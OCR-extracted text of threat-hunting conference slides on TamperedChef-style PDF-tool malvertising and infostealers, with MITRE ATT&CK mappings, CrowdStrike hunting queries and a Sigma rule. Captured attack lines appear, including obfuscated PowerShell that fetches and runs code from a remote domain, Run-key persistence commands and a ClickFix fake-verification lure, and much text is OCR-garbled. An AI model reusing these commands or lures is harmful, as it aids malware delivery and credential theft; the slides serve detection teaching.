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WHO IS YOUR HUNTER? wan

Competence. Security. Trust.

A quick profile check before we climb the pyramid.

NAME Alessandro Salucci
ROLE Cyber Security Specialist - AVANTEC Cyber Defence Center

STACK  CrowdStrike / Microsoft Defender for Endpoint
VECTRA Ai
Hunters.Ai (NEXT-GEN SIEM)

why this talk exists

Your data left.
You just haven't noticed yet.

Stop asking: "What hash fired?"
Start asking: "What behavior are we missing?"

45 MINUTES - 1 CASE STUDY - 4 ACTS - 3 TAKEAWAYS

AVANTiger 2.0 > credibility through stack, not bio.



MALVERTISING avanil

TamperedChef/ BaolLoader / AppSuite-PDF / ManualFinder o St e
YAPA (Yet Another PDF Application)

root@avantec:~/talks/AVANTech-Day_2026# ./open_talk.sh --date 2026-05-07 --audience

[ OK ] Loading narrative...
[ OK ] Initializing pyramid of pain...
[ OK ] Attaching OSINT handlers...

Last week, 41% of this room received a
TamperedChef ad.

-«% Of you clicked.

>> QUESTION: What is MALVERTISING?



MALVERTISING EXAMPLE avani
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dawnload

3 whespa fow Raaber mnt

2 Run the quck scan
I Fix the s
Average User Roting

**‘*** g Free Download

WinZip 17. % Official

k4

: ; . e Open ZIP F|I-_-i:

https://www.surfnetkids.com/tech/2275/real -download-button/
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SEO-/Ad-Poisoning AVAN.H
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SEO algorithms rank websites based on various factors

Google Free Professional PDF Editor Download X | 4 = PDF SparkWare
hitps-/ipdfsparkware.com - Diese Seite Ubersetzen

PDF SparkWare - Professional PDF Software | Free Download

PDF SparkWare is a comprehensive PDF solution that allows you to view, edit, convert, and manage
PDF documents with ease. Experience the power of professional- ..

Easy2Convert
https/Aiwww_ easy2convert.com - Diese Seite (ibersetzen

Easy2Convert - Batch Image Converting Software

Easy2Convert BMP to JPG PRO converts Windows or O5/2 Bitmap files to JPEG files. It has many
advanced features: batch convert mode, image resize option, efc.

PDF SparkWare
hitps_/ipdfsparkware.com » camp... - Diese Seite Ubersetzen

Image Converters Downloads .
Easy2Convert is a professional image converting software that ... PrOfESS|GnaI PDF SOﬁwa re | FrEE Dﬂwnlﬂad

PDF SparkWare - Professional PDF software for viewing, editing, and converting PDF documents. Free
Image Converters .

Easy2Convert is a professional image conve
PDFGrip
hitps:/ipdfgrip.com - Diese Seite iibersetzen

download pdf editor free full version
pdf reader and editor free download for w

et estr e soomens om0 PDFGIip - Edit & Convert PDFs on Windows
e PDFGrip - The powerful free PDF editor and converter for Windows. Edit, convert, merge, split, and
N expert.com

< hitps e pdfexpert com » pdf editor compress PDFs with ease. 100% offline and private_
PDF editor free

The Best PDF App On The Market — PDF Expert by Readdle Is The Most Powerful PDF Editor On The
Market. It's Free For 7 Days

PDF Architect
https fiwww pdfarchitect org » pdi-editor » gratis  *

PDF Editor Freeware - Kostenloser Download

Mude von vielen PDF-Tools ? PDF Architect kann alles bearbeiten, konvertieren und mehr,
PDF direkt bearbeiten - PDF Editor - Text in PDF-Dateien bearbeiten




1 2
Is It relevant- CAVA'S'E. .
SRF-Kassensturz - 75'537 Aufrufe - 30. April 2026 (Foto vom 1. Mai) B

°

4,

- - = - .
SEO-Poisoning

14:13 f 16:50

i
¥

SMS-Blaster: Die neue Betrugsmasche aus dem Kofferraum | 2026 | Kassensturz | SRF

SRF Kassensiurz @ .
44 400 Abonnenten Q bt * 190 q

75.537 Aufrufe 30.04.2026 #Kassensturz #cyberkriminalitdat #betrugsmasche
en und sn an Bank- nder Kreditkarten-Daten ihrer Onfer 7u nelanoen. Was wie ein Thriller klinat. nassiert aktell mitten in Schweizer Stadten. «Kassenstur

https://www.youtube.com/watch?v=j CATqsshZeo
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Not All Cats e Hou

The PDF Converter That Converts More Than Files

B
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Act 1- Delivery

TAOOOT - Initial Access — MITRE ATT&CK

https://attack.mitre.org/

Phase Technique

T1189 Drive-by Compromise

MITRE | ATT&CK

=~/ Run X

Reconnais

11 techniy
Type the name of a program, folder, document, or

Active Scanning (g
[T Internet resource, and Windows will open it for you.

=)
Gather Victim Hosl
nformation (4

Gather Victim Iden
nformation (3

Open: bOWeRSHeIL -W HIDdEn "[Text.Encoding]:UTF8.Ge' ~

Gather Victim Netw
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Gather Victim Org
nformation (4

Phishing for Inforn] OK

Search Closed Sou

Cancel Browse...
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Search Open
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Walid Accounts 4

n Native API

Poisoned Pipeline

Search Threat Vendor Data Wi-Fi Metworks

InfoStealer manifestation

Primaryv detection surface

CLOUDFLARE

Ich bin kein Roboter

Schutz vor Bot-Angriffen

Bestatigen Sie, dass Sie ein Mensch sind

FUuhren Sie die folgenden Schritte aus, um die Verifizierung

abzuschlielien:
Dricken Sie @& Win + R
Dricken Sie  S5trg + V

Dricken Sie Enter

Verifizierung wird durchgefihrt...

Ray ID: Ba3f2blcfd2edf5a

zum Abschlielfien

|

Performance & security by Cloudflare

, browser DNS to

wvorkEvents

Discovery

34 techniques

AVANI
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Act 2 - Execution AVANE

TAOOO2 — Execution — MITRE ATT&CK

Compete

Profgsiti' Powerful. Fast. Precise
PDF P . ° ‘ Meet - PowerDoc

L The only tool you need for your pdf files.
ne to view, edit, convert, and mani:

Experience the power of pr

Get starte

ree PDF Edito |: clickin 1 Get started for fre

Alter YOU
PDFs Fre

<& Download for Windows —free



CrowdStrike - Threat Hunting AVANE

Query: ClickFix.md Compesence, Security, Trus,

#event_simpleName = RegSystemConfigValueUpdate

I Dr\nnh—lr\r-i-l\l—\mn —

/\\REGISTRY\\USER\\ +\\Software\\Mlcrosoft\\W1ndows\\CuPPentVer51on\\ExploreP\\RunMRU/l
| IEIICIIIIE\TJ.EJ.U— I'\EB.DLI J.IIBVdJ.UE sy d>= nurivuliimiidrnu )
length("RunCommand"”, as=RunCommandLength)
RunCommandLength > 50
// Common allowlist exclusions
RunCommand =
/(?1) (powershell |pwsh|cmd|mshta|wscript|cscript|certutil|bitsadmin|curl|wget|msbuild]|co
nhost |wt\.exe|iex|invoke-expression|invoke-
webrequest|downloadstring|frombase64string|hidden|encodedcommand|nslookup|odbcad32)/

| table([@timestamp, ComputerName, UserName, RunCommand, RunCommandLength])




RESULT AVAN&
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@timestamp ComputerName RunCommand

Apr. 24, 2026 15:05:37.163 powershell.exe =wI MIniMiZe $csWs='XwHqnTDRR';$kp=12;$JwH=32;3$TUW={{Get=-Module -ListAvai 'Microsoft.PowerShell.uUtility')).ExportedCommands.Values;$TUN=$TUW.Name;$0az=.3$TUW[$kp] ununlikeize.com;$ClWs=$TUN[$IwH]; .$CIWs $0az;$SkPkHDUCLIemnQXIPuTggatLmfzBgXbFvrv\1l

Apr. 24, 2026 15:03:43.325 powershell.exe —=wIN MiN $CIio='pktueDXavGIiYjXcUy';$kp=12;$dKL=32;$nqXU=({Get-Module -ListAvai 'Microsoft.PowerShell.Utility')).ExportedCommands.Values;$nqXU=$nqXU.Name;$UbFh=.$nqXU[$kp] ununlikeize.com;3$Rndg=%nqXuU[$dKL]; .$Rndg $UbFh;$uQabjiulibQoiEnjkwlQcAe\1

Apr. 22, 2026 22:25:57.878 powershell.exe —wINdOW MiNImIz $QkT='yXwGcCrillrLyQRgU';$kp=12;%aAhg=32;%kinB=((Get-Module -ListAvai 'Microsoft.PowerShell.Utility')).ExportedCommands.values;$kinB=5kinB.Name;$0cwv=.%kinB[$kp] ununlikeize.com;$ieDV=$kinB[$aAhgl; .$ieDV $0cwv;$eMErfAmIMCRSpHVCy\1

powershell.exe -wI MIniMiZe $csWs='XwHgnTDRR"';$kp=12;%$IwH=32;$TUW=((Get-Module -ListAvai
'"Microsoft.PowerShell.Utility"')).ExportedCommands.Values;$TUN=$TUW.Name;$0az=.$TUW[$kp]
ununlikeize.com;$CIWs=$TUW[$IwH]; .$ClWs $0az;$SkPkHDUCLIemnQXIPuTgqatLmfzBgXbFvrv\1l

powershell.exe -WindowStyle Minimized -Command "Invoke-Expression (Invoke-
RestMethod -Uri 'http://ununlikeize.com')"

Detection Infoermation:

Detection Name: GenericUserExecution

Display Name: UserExecution

Description: & user executed an unusual file. Adversaries can lure users into executing malicious code using spearphishing and other trickery. Review the executable and process tree.
Scenario: suspicious_activity

Severity: High (70}

Confidence: B0

Tactic: Execution (TAOD02)

Technigue: User Execution (T1204)



Act 3 — Persistence

TAOOQO3 — Persistence — MITRE ATT&CK

Technique

InfoStealer manifestation

AVANI!!O_

Competence. Security. Trust.

Primary detection surface

Results Events

18:00
4

Thu 22

ParentBaseFileMame

PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.

PDFConverter.

exe

exe

exe

exe

exe

exe

exe

T1547.001 Registry Run Keys

HKCU\..\Run\PDFEditorUpdater

Registry write to user Run key

T1053.005 Scheduled Task

PDFEditorScheduledTask, schtasks /create

New task with delayed trigger (>24h) from non-system account

T1543.003 Windows Service

(less common; Donut variants)

New-service event from suspicious binary

06:00 12-00 18:00 Fri23

CommandLine

reg.

reg.

reqg

reg.
reg.

reg.

reg

exe add HKCUASoftware\Microsoft\Windows“CurrentVersion\Run /v PDFConverterUpdateHelper /t

exe add HKCUMASoftwareMicrosoft\Windows\CurrentVersion\RunOnce /v PDFConverterUpdateSetup

.exe add HKCUASoftware\Microsoft\Windows“CurrentVersion\Run /v PDFConverterUpdateHelper /t

exe add HKCUMASoftwareMicrosoft\Windows\CurrentVersion\RunOnce /v PDFConverterUpdateSetup

exe add HKCUASoftware\Microsoft\Windows“CurrentVersion\Run /v PDFConverterUpdateHelper /t

exe add HKCUMASoftwareMicrosoft\Windows\CurrentVersion\RunOnce /v PDFConverterUpdateSetup

.exe add HKCUASoftware\Microsoft\Windows\CurrentVersion\Run /v PDFConverterUpdateHelper /t

18:00 Sat 24 06:00 12:00 1800 Sun 25 D6-00

REG_5Z /d
/t REG_SZ
REG_5Z /d
/t REG_SZ
REG_5Z /d
/t REG_SZ
REG_5Z /d

1200 1200 Vo 28 0800 1200 18:00 Tue 27 0s:00 1200
"\"C:\Users\ \Downloads\PDFConverter.exe\" --helper" /T
/d "omd.exe /c \"C:\Users\ \Downloads\PDFConverter.exe\" --setup" /T
" \Usersy \Downloads\PDFConverter.exe\" --helper" /T
/d "omd.exe /c \"C:\Users® \Downloads\PDFConverter.exe\" --setup" /T
"\"C:\Users® Downloads\PDFConverter.exe\" --helper" /T
/d "omd.exe /c \"C:\Users \Downloads\PDFConverter.exe\" --setup" /T
"\"C:\Users: Downloads“\PDFConverter.exe\" --helper" /f



CrowdStrike - Threat Hunting wan
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Query: RunKey.md

#event _simpleName = ProcessRollup2

ImageFileName = /\\reg\.exe$/i

CommandLine = /\b(add|delete)\b/1i

CommandLine = /\\Software\\Microsoft\\Windows\\CurrentVersion\\Run(Once)?/1i
table([@timestamp, ComputerName, UserName, ParentBaseFileName, CommandLine])

reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v

PDFConverterUpdateHelper /d "..."




Act 4 — Defense Evasion AVAN[E
TAOOOS5 — Stealth — MITRE ATT&CK

E Q,  ccd82813e22e8163d60982340dddec] 3e316565f0e6cf455d07550ccf348858a | o I I ) —:c:::-| Sign in m

() 51/70 security vendors flagged this file as malicious (' Reanalyze == Similar~ More
5 age <90 days + new
/70 €c482813e2208163d603982340dd4ec13e316565f0e6cf455d07550ccf348858a Size Last Analysis Date Q
msedge_elf.dll 541 MB 3 months ago DLL
. call patterns
Community
e -69 pedll  overlay  signed  detect-debug-environment  invalid-signature  spreader  64bits  long-sleeps  checks-cpu-name  persistence
'trusted” tools
DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY 14

Isigned DLL from

Join our Community and enjoy additional community insights and crowdsourced detections, plus an API key to automate checks. .
der Defender\Exclusions

Popular threat label () trojan.vidar/tedy Threat categories trojan Family labels vidar  tedy  stealer
er user context
Security vendors' analysis (&) Do you want to automate checks?
AhnLab-v3 @ Malware/Win Tedy.R750424 Alibaba @ Trojan:Win64/Kryptik.efo017ff
AliCloud @ Trojan[stealer]:Multi/Vidar.fim ALYac @ Gen:Variant.Application.Tedy.32748
Antiy-AVL @ Trojan[PSW]/Win32.Vidar Arcabit @ Trojan.Application.Tedy.DTFEC
Arctic Walf @ Unsafe Avast @ Win64:Evo-gen [Trj]
AVG @ Win&4:Evo-gen [Trj] Bkav Pro @ We4.AlDetectMalware
ClamAv @ Win.Malware.Wingo-9356994-0 Crowd5Strike Falcon @ Win/malicious_confidence_100% (W)



CrowdStrike - Threat Hunting wan
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Query: DLLsideloading.md

Das Sideloading-Pattern
Vertrauenswirdige EXE am falschen Ort + b&sartige DLL daneben

Signed trusted binary Unsigned malicious DLL
msedge.exe (Microsoft signiert) lAdt msedge_elf.dll
PE-Header: msedge.exe — Keine Signatur
Ort: \Users\..\Downloads\ Selber user-writable Pfad
Anomalie — nicht Program Files PrimaryModule =0

\ .-o-"f-#
é"’f

selfdoin: ald + Processid
Korreliert belde Events auf demselben Prozess

L

Sideloading-Signal

Trusted binary am falschen Ort

) + fremde DLL daneben = Anomalie i

25 dokumentlerte Targets - HijackLlbs - MITRE ATT&CK - public CTI



Act 5 — Discovery

TAOOO7 — Discovery — MITRE ATT&CK

Technique

T1518.001 Security Software Discovery

InfoStealer manifestation

TamperedChef enumerates AV before activation

AVANI!!O_

Competence. Security. Trust.

Primary detection surface

WMI Select * from AntiVirusProduct, reads to \AVAST),
\Bitdefender\

T1057 / T1082 Process & System Info

All families

High-volume tasklist, systeminfo, wmic from short-lived
process

T1083 File and Directory Discovery

Browser profile enumeration

Reads to \AppData\Local\Google\Chrome\User Data\
from non-browser process

ComputerName

UserMName

ParentBaseFileName

PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.
PDFConverter.

PDFConverter.

exe

axe

exe

axe

axe

exe

axe

exe

axe

axe

exe

axe

exe

ImageFileName

“DevicetHarddiskVolume3'\Windows \System32ANETSTAT . EXE
“Device\HarddiskVolume3\Windows\System32\ipconfig.exe
“Device‘HarddiskVolume3'\Windows \System32\net . exe
\DevicehHarddiskVolume3\Windows\System32\net.exe
“Device‘\HarddiskVolume3\Windows\System32\whoami . exe
“DevicetHarddiskVolume3'\Windowsh\System3 2 hsysteminfo. exe
“DeviceMHarddiskVolume3\Windows\System3Z2\NETSTAT. EXE
“Device‘\HarddiskVolume3’\Windows\System32\ipconfig.exe
“DevicerHarddiskVolume3'\Windows\System32\net . exe
“Device‘\HarddiskVolume3\Windows\System32\net . exe
“DeviceMHarddiskVolume3'\Windows \System3 2 whoami . exe
“\DeviceMHarddiskVolume3\Windows\System32\systeminfo.exe

“Device‘\HarddiskVolume3'\Windows\System32\systeminfo. exe

CommandLine

netstat -ano

ipconfig /Jall

net localgroup administrators
net user

whoam /all

systeminfo

netstat -ano

ipconfig Fall

net localgroup administrators
net user

whoam. /all

systeminfo

systeminfo



Act 6 —- Credential Access
TAOOO6 — Credential Access — MITRE ATT&CK

Phase

Technique

InfoStealer manifestation

AVANI!!O_

Competence. Security. Trust.

Primary detection surface

Cred Access

Cred Access

Cred Access

Cred Access

Cred Access

Cred Access

Cred Access

Cred Access

T1555.003 Credentials from Web Browsers *

THE CHOKEPOINT

Non-browser process opens Login Data, Cookies, Web
Data SQLite

T1555.004 Windows Credential Manager

DPAPI vault enumeration

CryptUnprotectData from non-LSASS, non-browser context

T1555.005 Password Managers

Bitwarden/1Password browser-extension scrape

Reads to extension storage paths

T1539 Steal Web Session Cookie

Session cookie theft — MFA bypass

Same as T1555.003 — pair with cloud sign-in anomaly

T1552.002 Credentials in Registry

Local State, Chrome AppBound key (0s_crypt)

Reads to Local State JSON key

T1552.001 Credentials in Files

Crypto wallets, .env, SSH keys

File reads to \Wallets\, \.ssh\, wallet.dat

T1110.004 Credential Stuffing (downstream)

Combolists from stealer logs

Saas sign-in anomalies — many users from same IP

T1648 Cloud Credentials

Snowflake-style enterprise abuse via stolen contractor
creds

Cloud audit log — first-time UA, impossible travel




CrowdStrike - Threat Hunting wan

Competence. Security. Trust.

Query: CredentialAccess.md

Der Credential-Access-Chokepoint
Eine bindre Detectlon-Regel, jede Stealer-Famille

Erlaubte Prozesse Verbotene Prozesse

chrome.exe - msedge.exe PDF-Tool aus Downloads
firefox.exe - brave.exe FowerShell-Script aus AppData
opera.exe - vivaldi.exe - arc.exe Unbekannte EXE aus %TEMP%

+ MsMpEng.exe (Defender Scan) Alles andere = Stealer
erlaubt blockiert
. )
Die Goldmine

Login Data — gespeicherte Passwirter
Cookles — aktive Sesslon-Tokens (MFA-Bypass)
Web Data — Auto-Flll, Kreditkarten
+ Firefox: key4.db, logins.json, places.sglite

Wenn ein Nicht-Browser-Prozess Login Data 6ffnet — Ist es ein Stealer. Punkt.

M von 18 dokumentierten Stealer-Familien lauten durch genau diesen Engpass
Lumma - Vidar - RedLine - StealC - Phemedrone - Meduza - Braodo - Agent Tesla - Lokibot

if it's not the browser and it opens 'Login Data' — it's a stealer.



Act 7 — Collection Awmﬁ

TAOOO9 — Collection— MITRE ATT&CK

Competence. Security. Trust.

Technique InfoStealer manifestation Primary detection surface
Collection T1005 Data from Local System File harvesting from Documents/Desktop/Downloads Bulk file reads in <60s by single PID
Collection T1113 Screen Capture GDI+ screen capture (Browser-Data-Grabber) API call telemetry (where available)

Collection T1560.001 Archive via Utility Stage to % TEMP%\out.zip / %LOCALAPPDATA%\Temp\ | New .zip written + same process net out




Act 8 - Command and Control / Exfiltration

TAOOT — Command and Control (C2) — MITRE ATT&CK
TAOO10 — Exfiltration — MITRE ATT&CK

Technique

InfoStealer manifestation

AVANI!!O_

Competence. Security. Trust.

Primary detection surface

T1071.001 Web Protocols (HTTPS)

XOR + AES-128/256-CBC over HTTPS

TLS to newly-registered Cloudflare-fronted domains

T1568 Dynamic Resolution

DGA, Steam profile C2 (Void), BNB Smart Chain
etherhiding

DNS to high-entropy domains, traffic to
steamcommunity.com/profiles/...

T1102 / T1090.002 Web Service / External
Proxy

Telegram/Mastodon C2 (Vidar), Cloudflare reverse-
proxy fronting

Process-context HTTPS to api.telegram.org

T1090 Proxy: Internal Residential

Compromised hosts repurposed as residential proxies
(BaoLoader)

Persistent inbound listeners on workstation

T1041 Exfil over C2

XOR-encrypted POST to C2

Outbound POST volume from non-browser PID

T1567 Exfil over Web Service

paste.rs (Noodlophile), pastebin clones

DNS to ephemeral paste services




Impact
TAOO40 — Impact — MITRE ATT&CK

Technique InfoStealer

]
baler logsi
”

e i |

LWNEW LOG RECEIVED Ly
L o

User Info
P >>
BPC s>
™ Country > >
=1 HWID > >
Browsers
Passwords » >
Autofills > >
4 Cookles > >
= CC >>
Other "
Cryptowallets > >
L From >>
ARTE - Telegram: Das Reich der Cyberkriminellen
https://www.youtube.com/watch?v=723EA7qrV-w

LSTR F RNV L TN R

% From >>

AVANI!!‘.
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r = |

LWNEW LOG RECEIVED Ly
L J

User info
P>
WPC >>
B Country >>
=1 HWID > >
Browsers
Passwords » >
Autofills > >
b Cookles »>»
=CC>>
Other ™
Cryptowallets > »
X From >»

’rimary detection surface

r |
LWNEW LOG RECEIVED Ly
L ol

User Info
P>
LR
A Country >>»
= HWID > »
Browsers
Passwords > >
Autofills > »
&) Cookles > >
=CC >>
Other "

Cryptowallets > >
X From >»>
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4¢ Free PDF Editor for Windows - PDFGrip

Alter Your

Edit, convert, merge, split, and compress your PDFs — all in
one powerful desktop app. 50+ formats supported. Runs
entirely offline on your Windows PC. No sign-up required. B crmhEm
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There is more...
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THE PYRAMID OF PAIN

From trivial IOCs at the base to TTPs that break adversary tooling at the peak.

David Bianco, 2013 -

TTPs

NETWORK/HOST ARTIFACTS

DOMAIN NAMES

AVANI!!O_

Competence. Security. Trust.

Challenging

Simple

IP ADDRESSES ——o Easy

HASH VALUES o—o Trivial

still the most useful diagram in detection engineering
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DETECTION ENGINEERING

From hunt to YAML to CI/CD.



THE SIGMA RULE IS BORN

authored once, deployed everywhere.

@ @ detections/ad/dcsync_nonmachine.yml

title: DCSync via Replication Rights by Non-Machine Account
id: 1a2b3c4d-avantech-2026
status: stable
description: Non-DC, non-service account invokes DS-Replication-Get-Changes(-All).
author: AVANTech CDC
logsource: { product: windows, service: security }
detection:
selection:
EventID: 4662
AccessMask: '0x100'
Properties|contains:
- '1131f6aa-9¢c07-11d1-f79f-00c04fc2dcd2’ # DS-Replication-Get-Changes
- '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2’ # DS-Replication-Get-Changes-All
- '89e95b76-444d-4c62-991a-0facbedabdac’ # DS-Replication-Get-Changes-In-Filtered-Set
filter_machines: { SubjectUserName|endswith: '$' }

filter_msol: { SubjectUserName|startswith: 'MSOL_"' }
condition: selection and not (filter_machines or filter_msol)
level: high

tags: [attack.credential access, attack.t1003.006, stp.score.6]

one YAML - every SIEM - because we picked a TTP.

AVANI!!O_
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One rule, three SIEMs — live conversion with sigmac.

SIGMA (source) KQL (MDE) CQL (Falcon)

@ ® .cithub/workflows/detections.yml

name: detections
on: [pull request]
jobs:
lint:
run: sigma-lint detections/**/*.yml && pytest tests/
test:
run: |
sigma convert -t kusto -p microsoft_xdr $RULE > out.kql
./scripts/deploy-staging.sh out.kql
Invoke-AtomicTest T1003.006 && ./scripts/assert-alert-fires.sh

tools: sigconverter.io . Uncoder.io (SOC Prime) . “sigma convert -t kusto -p microsoft_xdr rule.yml”

one abstraction - every SIEM speaks 1it.
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» HANDLES

NAME
Alessandro Salucci

EMAIL
salucci@avantec.ch

GITHUB
https://github.com/0@xAsYWx1Y2Np/AVANTechDay-2026-
ThreatHunting

BLOG
https://www.tec-bite.ch/

4 Threat Hunting: Wenn alles grun ist, ist es nicht vorbei

4. MARZ 2026 | IN NETZWERK, ENDPOINT | VON TRUSTINVERITAS
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